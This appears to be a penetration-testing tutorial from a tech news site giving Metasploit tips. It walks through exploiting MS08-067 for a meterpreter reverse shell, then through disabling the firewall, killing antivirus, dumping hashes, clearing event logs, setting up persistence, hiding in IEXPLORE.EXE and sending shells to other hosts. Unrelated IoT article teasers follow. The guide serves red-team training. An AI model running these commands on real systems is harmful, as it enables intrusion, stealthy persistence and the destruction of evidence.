Welcome!

Industrial IoT Authors: Elizabeth White, Craig Lowell, Carmen Gonzalez, William Schmarzo, Yeshim Deniz

Related Topics: IoT User Interface, Industrial IoT, Microservices Expo, Microsoft Cloud, Agile Computing, Cloud Security

IoT User Interface: Tutorial

Metasploit Helpful Tips

Shell tossing and other useful tips

Introduction
The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool. The framework includes hundreds of working remote exploits for a variety of platforms. Payloads, encoders, and nop slide generators can be mixed and matched with exploit modules to solve almost any exploit-related task. This tutorial will walk you through how to use the latest version of Nessus pre-built plugin filter ‘Metasploit Framework' in your pentest assignments. It will also cover some useful metasploit tips to achieve privilege escalation. Wouldn't it be great to have a shell on another box just in case you lose your meterpreter shell? This tutorial covers this and other metasploit tips.

Integrating Nessus 5 with Metasploit
With the release of Nessus 5 by Tenable Network Security users now have better filtering in policy creation, analysis, reporting, and faster scanning time. The product allows you to select only those checks that cover vulnerabilities whose exploits are in the Metasploit Exploit framework for both local and remote exploits. To start go to the Tenable site http://www.tenable.com/products and download Nessus 5 and install. The new installation will install in /opt/nessus and will install overtop any previous version of the product. Start nessus daemon and open up your web browser to https://localhost:8834 login and go to policies and click add (see Figure #1) give your policy a title and click next. On the Credentials page leave it as default and click next at the bottom. The Plugins page will follow where you will add a filter and will be presented with a drop down with many different options, choose the ‘Metasploit Exploit Framework' make sure that ‘is equal to' and ‘true' is selected and click save (see Figure #2). Next disable all plugins and select the Family name that you would want to enable and click on the enable plugins in the upper right hand corner of the page. Do this for all Family plugins that you would like to enable and click submit at the bottom.

Figure #1 open web browser on https://localhost:8834

Figure #2 Select Metasploit Exploit Framework from the drop down

To begin a scan click on the scans and add, this will allow you to name the scan and type either run now, scheduled, or template. The policy dropdown is where you pick your policy that you created earlier followed by selecting a target. Now you can start a scan and the time it will take is surprisingly fast. After you are given a report that lists the Plugin ID, count, severity, name, and family of each as they relate to the Metasploit Framework (see Figure 3). The name section gives what exploit within Metasploit can be used successfully against the box.

Figure #3 Report gives what exploit in Metasploit can be used successfully on the box

You can also start a scan in the Metasploit Framework itself and use the plugin. Start the msfconsole and load nessus.

msf > load nessus

Once the plugins are loaded connect to the server.

msf > nessus_connect cr0wn:[email protected] ok

Now show the available plugins with the nessus_policy_list command (see Figure #4).

Figure #4 nessus_policy_list

You can use the policy to scan the network by using the policy ID, name of scan, and specifying a target IP range using the nessus_scan_new command (see Figure #5). For this scan we will be targeting a single Windows XP box with the IP address of 10.10.3.219. If you are connected to a database within the Metasploit Framework you can open a view the information from the console otherwise you can view them form the web browser. Now you can select an exploit to use on the target system such as the MS08-067, or MS06-040.

Figure #5 nessus_scan_new

Basic Exploitation using Metasploit

At this point we will use the MS08-067 flaw to our advantage and get a meterpreter shell on the box. To accomplish this do the following:

msf > use exploit/windows/smb/ms08_067_netapi

msf > set payload windows/meterpreter/reverse_tcp

msf > set lhost 10.10.3.218

msf > set lport 5555

msf > set rhost 10.10.3.188

msf > exploit

meterpreter >

Useful meterpreter commands
Now we are left with a meterpreter shell on the windows box and there are a number of things that can be done now. Checking to see if the box your on is a virtual machine, has anti-virus, what the local subnet looks like, and what kind of security configuration is on the victim system is a good first start. Metasploit comes with some useful scripts to perform these tasks.

meterpreter > run checkvm

This will show you the help menu with options, choose -d to disable built in firewall.

meterpreter > run getcountermeasure -h

meterpreter > run getcountermeasure -d

To kill most antivirus, run the ‘killav' script.

meterpreter > run killav

To identify the local subnet mask that the victim is on run the ‘get_local_subnets' script

meterpreter > run get_local_subnets

You may want to search the host for interesting information such as *.pdf, *.txt, *.doc, *.jpg, etc. Use the search function in meterpreter.

meterpreter > search -h

meterpreter > search -f *.pdf

To get some detailed information about the system use the ‘winenum' script and the ‘scraper' script. Winenum script will dump tokens, hashes and provide you with lots of information (see Figure #6). The ‘scraper' script will pull down the registry and system information.

meterpreter > run winenum

meterpreter > run scraper

Figure #6 winenum command

Now we should delete the log files. To do this, open up into the meterpreter scripting menu by using the ‘irb' command. Then issue the following at the >> prompt:

log = client.sys.enentlog.open(‘system')

meterpreter > irb

[*] Starting IRB shell

[*] The ‘client' variable holds the meterpreter client

>> log = client.sys.eventlog.open(‘system')

>> log.clear

While we're at it lets go ahead and delete the security log and application log, just change (‘system') to (‘security') & (‘application').

Being able to shove a meterpreter shell to team members that you are performing a pentest with is extremely valuable. This option had not presented itself to me till I took a class on Industrial Control Systems Advanced Cybersecurity (301) given by the US-CERT in Idaho Falls. I would recommend anyone doing work in the realm of ICS/ SCADA systems to take this class. Jeff Hahn and his group at the Idaho National Laboratory are doing great work. The class provides intensive hands-on training on protecting and security industrial control systems from cyber-attacks. On day 4 there is a 12-hour exercise where participants are attacking (Red Team) or defending (Blue Team). I was on the red team and having the ability to throw meterpreter shells to my fellow red team members would be helpful. Here are a few examples of how this is done.

The first example is using the meterpreter script ‘persistence', to see a list of options use the -h switch.

Meterpreter > run persistence -h

Meterpreter > run persistence -X -i 5 -p 5555 -r 10.10.3.180

This would throw a meterpreter session to remote system -r 10.10.3.180 at an interval (5 seconds), at port -p 5555, and would be loaded into and run (-X) every time the machine booted up. The recipient of this would be waiting for the meterpreter shell by using the multi/handler.

msf > use multi/handler

msf > set payload windows/meterpreter/reverse_tcp

msf > set lhost 10.10.3.180

msf > set lport 5555

msf > exploit

The second example is a bit stealthier and has the ability to inject your meterpreter shell into an existing process. After running the ps command from within your meterpreter shell you get a list of running processes. To view a list of running process issue the ‘ps' command.

meterpreter > ps

Look through the list of process and identify PID's that can be used that will not draw attention such as IEXPLORER.EXE PID 3664 (see Figure #7).

Figure #7 ps command

Being able to inject the meterpreter shell into the IEXPLORE.EXE process would be stealthy. Let's run the multi_meter_inject command using the following switches.

meterpreter > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mr 10.10.3.180 -p 3664

This would throw a meterpreter session to remote system -mr 10.10.3.180, at port -p 3664. The recipient of this would be waiting for the meterpreter shell by using the multi/handler just like above, just change the lport to 3664 (see Figure #8).

Figure #8 Recipient of meterpreter shell using multi_meter_inject

Now when performing some basic analysis on the victim box you can run ‘tasklist' and nothing looks out of place (see Figure #9), but when you run ‘netstat -an' you will see the foreign connection (see Figure #10).

Figure #9 tasklist command

Figure #10 netstat -an command

A third way to send off meterpreter shells to a foreign box for your friends or one that you own is to use the meterpreter script duplicate. At the meterpreter prompt issue the following commands:

meterpreter > run duplicate -h

This will give you the various options.

meterpreter > run duplicate -r 10.10.3.180

This will send a meterpreter shell to the IP address 10.10.3.180 on the default port of 4546 (see Figure #11).

Figure #11 Recipient of meterpreter shell using duplicate

You can run a packet sniffer on the box after you allow your team member to obtain meterpreter shells if you like. This meterpreter script, like the ones above written by Carlos Perez is called packetrecorder and allows some more granularities when capturing packets.

meterpreter > run packetrecorder

This will give you a list of options to use. You will need to determine the interface to listen on; this can be obtained by issuing the following command ‘run packetrecorder -li'. This will give a list of network interfaces; choose one and a destination to write the file to.

meterpreter > run packetrecorder -i -l /home/tmp/

[*] Packet capture interval is 30 Seconds

The file can later be reviewed with wireshark or tcpdump.

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

@ThingsExpo Stories
IoT solutions exploit operational data generated by Internet-connected smart “things” for the purpose of gaining operational insight and producing “better outcomes” (for example, create new business models, eliminate unscheduled maintenance, etc.). The explosive proliferation of IoT solutions will result in an exponential growth in the volume of IoT data, precipitating significant Information Governance issues: who owns the IoT data, what are the rights/duties of IoT solutions adopters towards t...
Whether your IoT service is connecting cars, homes, appliances, wearable, cameras or other devices, one question hangs in the balance – how do you actually make money from this service? The ability to turn your IoT service into profit requires the ability to create a monetization strategy that is flexible, scalable and working for you in real-time. It must be a transparent, smoothly implemented strategy that all stakeholders – from customers to the board – will be able to understand and comprehe...
Complete Internet of Things (IoT) embedded device security is not just about the device but involves the entire product’s identity, data and control integrity, and services traversing the cloud. A device can no longer be looked at as an island; it is a part of a system. In fact, given the cross-domain interactions enabled by IoT it could be a part of many systems. Also, depending on where the device is deployed, for example, in the office building versus a factory floor or oil field, security ha...
An IoT product’s log files speak volumes about what’s happening with your products in the field, pinpointing current and potential issues, and enabling you to predict failures and save millions of dollars in inventory. But until recently, no one knew how to listen. In his session at @ThingsExpo, Dan Gettens, Chief Research Officer at OnProcess, discussed recent research by Massachusetts Institute of Technology and OnProcess Technology, where MIT created a new, breakthrough analytics model for s...
In his general session at 19th Cloud Expo, Manish Dixit, VP of Product and Engineering at Dice, discussed how Dice leverages data insights and tools to help both tech professionals and recruiters better understand how skills relate to each other and which skills are in high demand using interactive visualizations and salary indicator tools to maximize earning potential. Manish Dixit is VP of Product and Engineering at Dice. As the leader of the Product, Engineering and Data Sciences team at D...
"We're a cybersecurity firm that specializes in engineering security solutions both at the software and hardware level. Security cannot be an after-the-fact afterthought, which is what it's become," stated Richard Blech, Chief Executive Officer at Secure Channels, in this SYS-CON.tv interview at @ThingsExpo, held November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA.
In this strange new world where more and more power is drawn from business technology, companies are effectively straddling two paths on the road to innovation and transformation into digital enterprises. The first path is the heritage trail – with “legacy” technology forming the background. Here, extant technologies are transformed by core IT teams to provide more API-driven approaches. Legacy systems can restrict companies that are transitioning into digital enterprises. To truly become a lead...
Video experiences should be unique and exciting! But that doesn’t mean you need to patch all the pieces yourself. Users demand rich and engaging experiences and new ways to connect with you. But creating robust video applications at scale can be complicated, time-consuming and expensive. In his session at @ThingsExpo, Zohar Babin, Vice President of Platform, Ecosystem and Community at Kaltura, discussed how VPaaS enables you to move fast, creating scalable video experiences that reach your aud...
"Once customers get a year into their IoT deployments, they start to realize that they may have been shortsighted in the ways they built out their deployment and the key thing I see a lot of people looking at is - how can I take equipment data, pull it back in an IoT solution and show it in a dashboard," stated Dave McCarthy, Director of Products at Bsquare Corporation, in this SYS-CON.tv interview at @ThingsExpo, held November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA.
What happens when the different parts of a vehicle become smarter than the vehicle itself? As we move toward the era of smart everything, hundreds of entities in a vehicle that communicate with each other, the vehicle and external systems create a need for identity orchestration so that all entities work as a conglomerate. Much like an orchestra without a conductor, without the ability to secure, control, and connect the link between a vehicle’s head unit, devices, and systems and to manage the ...
IoT is rapidly changing the way enterprises are using data to improve business decision-making. In order to derive business value, organizations must unlock insights from the data gathered and then act on these. In their session at @ThingsExpo, Eric Hoffman, Vice President at EastBanc Technologies, and Peter Shashkin, Head of Development Department at EastBanc Technologies, discussed how one organization leveraged IoT, cloud technology and data analysis to improve customer experiences and effici...
Everyone knows that truly innovative companies learn as they go along, pushing boundaries in response to market changes and demands. What's more of a mystery is how to balance innovation on a fresh platform built from scratch with the legacy tech stack, product suite and customers that continue to serve as the business' foundation. In his General Session at 19th Cloud Expo, Michael Chambliss, Head of Engineering at ReadyTalk, discussed why and how ReadyTalk diverted from healthy revenue and mor...
The 20th International Cloud Expo has announced that its Call for Papers is open. Cloud Expo, to be held June 6-8, 2017, at the Javits Center in New York City, brings together Cloud Computing, Big Data, Internet of Things, DevOps, Containers, Microservices and WebRTC to one location. With cloud computing driving a higher percentage of enterprise IT budgets every year, it becomes increasingly important to plant your flag in this fast-expanding business opportunity. Submit your speaking proposal ...
You have great SaaS business app ideas. You want to turn your idea quickly into a functional and engaging proof of concept. You need to be able to modify it to meet customers' needs, and you need to deliver a complete and secure SaaS application. How could you achieve all the above and yet avoid unforeseen IT requirements that add unnecessary cost and complexity? You also want your app to be responsive in any device at any time. In his session at 19th Cloud Expo, Mark Allen, General Manager of...
The Internet of Things (IoT) promises to simplify and streamline our lives by automating routine tasks that distract us from our goals. This promise is based on the ubiquitous deployment of smart, connected devices that link everything from industrial control systems to automobiles to refrigerators. Unfortunately, comparatively few of the devices currently deployed have been developed with an eye toward security, and as the DDoS attacks of late October 2016 have demonstrated, this oversight can ...
As data explodes in quantity, importance and from new sources, the need for managing and protecting data residing across physical, virtual, and cloud environments grow with it. Managing data includes protecting it, indexing and classifying it for true, long-term management, compliance and E-Discovery. Commvault can ensure this with a single pane of glass solution – whether in a private cloud, a Service Provider delivered public cloud or a hybrid cloud environment – across the heterogeneous enter...
Bert Loomis was a visionary. This general session will highlight how Bert Loomis and people like him inspire us to build great things with small inventions. In their general session at 19th Cloud Expo, Harold Hannon, Architect at IBM Bluemix, and Michael O'Neill, Strategic Business Development at Nvidia, discussed the accelerating pace of AI development and how IBM Cloud and NVIDIA are partnering to bring AI capabilities to "every day," on-demand. They also reviewed two "free infrastructure" pr...
"Dice has been around for the last 20 years. We have been helping tech professionals find new jobs and career opportunities," explained Manish Dixit, VP of Product and Engineering at Dice, in this SYS-CON.tv interview at 19th Cloud Expo, held November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA.
Extracting business value from Internet of Things (IoT) data doesn’t happen overnight. There are several requirements that must be satisfied, including IoT device enablement, data analysis, real-time detection of complex events and automated orchestration of actions. Unfortunately, too many companies fall short in achieving their business goals by implementing incomplete solutions or not focusing on tangible use cases. In his general session at @ThingsExpo, Dave McCarthy, Director of Products...
"ReadyTalk is an audio and web video conferencing provider. We've really come to embrace WebRTC as the platform for our future of technology," explained Dan Cunningham, CTO of ReadyTalk, in this SYS-CON.tv interview at WebRTC Summit at 19th Cloud Expo, held November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA.